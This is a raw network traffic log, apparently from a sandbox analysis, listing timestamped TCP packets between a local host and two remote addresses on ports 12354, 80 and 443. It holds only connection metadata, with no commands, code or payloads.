Dec 11, 2024 16:28:11.922858953 CET	50235	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:11.922871113 CET	50239	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:11.924252033 CET	50263	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:12.036950111 CET	50266	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:12.044511080 CET	12354	50263	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:12.044595003 CET	50263	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:12.044780970 CET	50263	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:12.069904089 CET	50213	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:12.070185900 CET	50268	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:12.157847881 CET	12354	50266	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:12.157919884 CET	50266	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:12.165102005 CET	12354	50263	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:12.171161890 CET	50266	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:12.189428091 CET	80	50268	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:12.189481974 CET	80	50213	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:12.189526081 CET	50268	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:12.189543962 CET	50213	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:12.190084934 CET	50268	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:12.294668913 CET	12354	50266	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:12.315180063 CET	80	50268	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:13.760891914 CET	80	50268	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:13.762454033 CET	50268	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:13.768582106 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:13.768604040 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:13.768826962 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:13.769212008 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:13.769218922 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:14.159456968 CET	12354	50263	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.159543037 CET	50263	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.159604073 CET	50263	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.160120010 CET	50291	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.272300959 CET	12354	50266	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.276038885 CET	50266	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.276156902 CET	50266	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.276551962 CET	50294	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.279064894 CET	12354	50263	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.279406071 CET	12354	50291	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.279500961 CET	50291	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.279655933 CET	50291	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.395888090 CET	12354	50266	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.395901918 CET	12354	50294	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.395982027 CET	50294	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.396169901 CET	50294	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:14.400401115 CET	12354	50291	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:14.515981913 CET	12354	50294	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:15.481597900 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:15.481673002 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:15.482307911 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:15.482358932 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:15.486547947 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:15.486552000 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:15.486773968 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:15.486823082 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:15.487320900 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:15.531332016 CET	443	50284	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:15.938936949 CET	50294	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:15.938966036 CET	50284	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:15.938996077 CET	50291	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:15.943768978 CET	50321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:16.055775881 CET	50323	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:16.055964947 CET	50268	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:16.056159973 CET	50324	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:16.066963911 CET	12354	50321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:16.067034960 CET	50321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:16.078077078 CET	50321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:16.177716970 CET	12354	50323	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:16.177860975 CET	50323	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:16.178069115 CET	50323	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:16.178075075 CET	80	50324	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:16.178102970 CET	80	50268	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:16.178128004 CET	50324	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:16.178155899 CET	50268	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:16.178539991 CET	50324	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:16.199887991 CET	12354	50321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:16.299088955 CET	12354	50323	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:16.299252987 CET	80	50324	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:17.761085987 CET	80	50324	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:17.761229992 CET	50324	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:17.763576031 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:17.763619900 CET	443	50355	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:17.763771057 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:17.765921116 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:17.765935898 CET	443	50355	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:18.175944090 CET	12354	50321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.176150084 CET	50321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.176263094 CET	50321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.176680088 CET	50361	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.285396099 CET	12354	50323	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.285509109 CET	50323	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.285769939 CET	50323	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.286397934 CET	50364	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.295655966 CET	12354	50321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.296097994 CET	12354	50361	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.296277046 CET	50361	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.297357082 CET	50361	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.405514002 CET	12354	50323	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.405945063 CET	12354	50364	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.406054974 CET	50364	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.406192064 CET	50364	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:18.419022083 CET	12354	50361	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:18.525937080 CET	12354	50364	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:19.473561049 CET	443	50355	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:19.473623991 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:19.476538897 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:19.476547956 CET	443	50355	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:19.478799105 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:19.478806973 CET	443	50355	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:19.954668045 CET	50355	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:19.954735041 CET	50361	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:19.954849005 CET	50364	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:19.956296921 CET	50398	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:20.069529057 CET	50402	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:20.069816113 CET	50324	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:20.070028067 CET	50403	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:20.076225042 CET	12354	50398	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:20.076338053 CET	50398	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:20.076509953 CET	50398	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:20.190383911 CET	12354	50402	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:20.190485001 CET	50402	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:20.190591097 CET	80	50403	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:20.190728903 CET	50403	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:20.191416979 CET	80	50324	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:20.191468000 CET	50324	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:20.191751957 CET	50402	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:20.191934109 CET	50403	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:20.195923090 CET	12354	50398	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:20.310992002 CET	12354	50402	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:20.311244965 CET	80	50403	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:21.765897036 CET	80	50403	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:21.766067028 CET	50403	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:21.768537045 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:21.768584013 CET	443	50436	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:21.768649101 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:21.768896103 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:21.768910885 CET	443	50436	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:22.217947960 CET	12354	50398	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.218085051 CET	50398	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.218136072 CET	50398	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.218492031 CET	50446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.302400112 CET	12354	50402	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.302474976 CET	50402	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.302516937 CET	50402	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.332704067 CET	50449	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.337954998 CET	12354	50398	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.337965012 CET	12354	50446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.338059902 CET	50446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.338227987 CET	50446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.422559977 CET	12354	50402	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.453919888 CET	12354	50449	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.453990936 CET	50449	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.454225063 CET	50449	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:22.457688093 CET	12354	50446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:22.576277971 CET	12354	50449	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:23.471396923 CET	443	50436	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:23.471460104 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:23.471988916 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:23.471997023 CET	443	50436	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:23.474082947 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:23.474087954 CET	443	50436	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:23.970073938 CET	50436	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:23.970096111 CET	50449	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:23.970129013 CET	50446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:23.971121073 CET	50485	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:24.082568884 CET	50403	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:24.082988024 CET	50489	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:24.084379911 CET	50490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:24.096149921 CET	12354	50485	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:24.096223116 CET	50485	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:24.096466064 CET	50485	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:24.205650091 CET	80	50489	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:24.205672026 CET	80	50403	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:24.205746889 CET	50489	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:24.205781937 CET	50403	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:24.205993891 CET	50489	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:24.206480980 CET	12354	50490	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:24.206528902 CET	50490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:24.206604004 CET	50490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:24.217317104 CET	12354	50485	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:24.325256109 CET	80	50489	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:24.325922012 CET	12354	50490	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:25.778378010 CET	80	50489	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:25.778428078 CET	50489	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:25.916536093 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:25.916560888 CET	443	50527	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:25.916611910 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:25.917841911 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:25.917851925 CET	443	50527	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:26.324479103 CET	12354	50485	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.324604988 CET	50485	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.324659109 CET	50485	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.325018883 CET	50540	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.328375101 CET	12354	50490	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.328449965 CET	50490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.328496933 CET	50490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.442572117 CET	50544	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.444226027 CET	12354	50485	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.445316076 CET	12354	50540	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.445379019 CET	50540	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.445537090 CET	50540	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.448255062 CET	12354	50490	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.564066887 CET	12354	50544	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.565165043 CET	50544	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.565165043 CET	50544	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.567363977 CET	12354	50540	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.567405939 CET	12354	50540	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.572159052 CET	50549	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.685709000 CET	12354	50544	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.685719967 CET	12354	50544	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.686285019 CET	50553	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.693998098 CET	12354	50549	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.694094896 CET	50549	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.694190025 CET	50549	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.805918932 CET	12354	50553	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.808345079 CET	50553	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.808521986 CET	50553	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.813560963 CET	12354	50549	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.813642979 CET	12354	50549	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.814131975 CET	50558	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.928416014 CET	12354	50553	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.928426027 CET	12354	50553	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.929486036 CET	50563	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.933660984 CET	12354	50558	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:26.933726072 CET	50558	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:26.933875084 CET	50558	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:27.050333977 CET	12354	50563	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:27.052309990 CET	50563	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:27.052428961 CET	50563	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:27.053287029 CET	12354	50558	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:27.171822071 CET	12354	50563	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:27.903795958 CET	443	50527	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:27.903908968 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:27.904386044 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:27.904396057 CET	443	50527	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:27.906063080 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:27.906068087 CET	443	50527	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:28.033479929 CET	50527	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:28.033504009 CET	50563	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.033529043 CET	50558	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.067455053 CET	50591	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.187370062 CET	12354	50591	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:28.187552929 CET	50591	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.200659990 CET	50591	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.307616949 CET	12354	50591	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:28.307744980 CET	50591	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.319885969 CET	12354	50591	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:28.427405119 CET	12354	50591	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:28.810447931 CET	50597	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.811705112 CET	50489	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:28.811877966 CET	50598	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:28.813154936 CET	50599	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.930111885 CET	12354	50597	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:28.930191994 CET	50597	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.930427074 CET	50597	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.931119919 CET	80	50598	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:28.931190014 CET	50598	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:28.931278944 CET	80	50489	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:28.931330919 CET	50598	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:28.931334019 CET	50489	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:28.932476044 CET	12354	50599	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:28.932569027 CET	50599	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:28.932934999 CET	50599	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.050359011 CET	12354	50597	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.050544977 CET	12354	50597	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.051245928 CET	50607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.051388979 CET	80	50598	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.051938057 CET	80	50598	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.052369118 CET	12354	50599	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.052381039 CET	12354	50599	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.052429914 CET	50599	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.052534103 CET	50599	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.164288998 CET	50612	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.165971994 CET	50613	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:29.170490980 CET	12354	50607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.170556068 CET	50607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.170717001 CET	50607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.171760082 CET	12354	50599	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.171798944 CET	12354	50599	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.283612967 CET	12354	50612	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.283818007 CET	50612	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.284234047 CET	50612	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.285330057 CET	80	50613	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.285430908 CET	50613	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:29.285698891 CET	50613	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:29.290077925 CET	12354	50607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.290206909 CET	12354	50607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.291558981 CET	50617	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.405419111 CET	12354	50612	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.407196045 CET	80	50613	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.413177013 CET	12354	50612	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.413386106 CET	80	50613	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.413598061 CET	50622	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.414064884 CET	12354	50617	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.414133072 CET	50617	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.414266109 CET	50617	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.521651030 CET	50627	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:29.615494013 CET	12354	50622	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.615504980 CET	12354	50617	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.615573883 CET	50622	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.615801096 CET	50622	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.619061947 CET	12354	50617	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.619652987 CET	50630	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.641947985 CET	80	50627	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.642021894 CET	50627	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:29.646320105 CET	50627	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:29.735940933 CET	12354	50622	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.736548901 CET	12354	50622	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.737714052 CET	50635	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.739439964 CET	12354	50630	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.739582062 CET	50630	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.739789009 CET	50630	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.765713930 CET	80	50627	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:29.858226061 CET	12354	50635	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.858316898 CET	50635	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.858769894 CET	50635	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.859647036 CET	12354	50630	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.859754086 CET	12354	50630	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.860331059 CET	50639	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.983795881 CET	12354	50635	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.983875990 CET	50635	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.983895063 CET	12354	50635	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.984127045 CET	50635	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.984596014 CET	50643	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.985455990 CET	12354	50639	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:29.986567020 CET	50639	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:29.987643003 CET	50639	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.103224993 CET	12354	50635	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.103404045 CET	12354	50635	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.103827953 CET	12354	50643	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.103908062 CET	50643	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.104053974 CET	50643	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.106103897 CET	12354	50639	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.106168985 CET	50639	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.106893063 CET	12354	50639	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.107835054 CET	50639	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.108166933 CET	50648	12354	192.168.2.8	107.163.241.204
